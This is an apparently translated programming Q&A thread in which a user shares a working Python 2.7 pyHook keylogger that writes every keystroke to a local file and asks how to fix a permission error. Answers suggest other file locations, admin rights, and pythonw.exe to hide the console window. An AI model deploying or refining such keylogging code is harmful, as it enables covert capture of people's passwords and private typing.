windows Python 2.7键盘记录程序

cngwdvgl  于 2023-04-07  发布在  Windows
关注(0)|答案(3)|浏览(87)

我刚用python 2.7做了一个键盘记录器,但它不工作。下面是键盘记录器代码:

import pyHook, pythoncom, sys, logging

file_log = 'C:\keyloggeroutput.txt'

def OnKeyboardEvent(event):
    logging.basicConfig(filename=file_log, level=logging.DEBUG, format='%(message)s')
    print "You pressed: ", chr(event.Ascii)
    logging.log(10,chr(event.Ascii))
    return True
hooks_manager = pyHook.HookManager()
hooks_manager.KeyDown = OnKeyboardEvent
hooks_manager.HookKeyboard()
pythoncom.PumpMessages()

这就是我得到的错误:

Traceback (most recent call last):
  File "C:\Python27\lib\site-packages\pyHook\HookManager.py", line 351, in KeyboardSwitch
    return func(event)
  File "<stdin>", line 2, in OnKeyboardEvent
  File "C:\Python27\lib\logging\__init__.py", line 1547, in basicConfig
    hdlr = FileHandler(filename, mode)
  File "C:\Python27\lib\logging\__init__.py", line 913, in __init__
    StreamHandler.__init__(self, self._open())
  File "C:\Python27\lib\logging\__init__.py", line 943, in _open
    stream = open(self.baseFilename, self.mode)
IOError: [Errno 13] Permission denied: 'C:\\keyloggeroutput.txt'

我的python文件夹在这里:
C:\Python27
我如何才能使键盘记录工作?

uqxowvwt

uqxowvwt1#

我可以建议尝试在您的文档中创建该文件

IOError: [Errno 13] Permission denied: 'C:\\keyloggeroutput.txt'
bvjveswy

bvjveswy2#

尝试在windows或linux中使用本地管理员权限运行脚本。在windows中,您可以以管理员身份打开powershell/cmd shell。在linux中,对脚本使用sudo命令:sudo python_script.py args
在OP的评论之后:尝试使用pythonw.exe而不是python.exe运行它,如下所示:

C:\Python27\pythonw.exe your_script.pyw

PYW文件类型主要与Python Software Foundation的“Python”相关联。PYW文件在Windows中用于指示需要使用PYTHONW.EXE而不是PYTHON.EXE运行的脚本,以防止DOS控制台弹出显示输出。此修补程序可以导入此类脚本,以防它们也可用作模块。

dffbzjpn

dffbzjpn3#

您不能将文件放在C:/中,您应该尝试其他文件位置

相关问题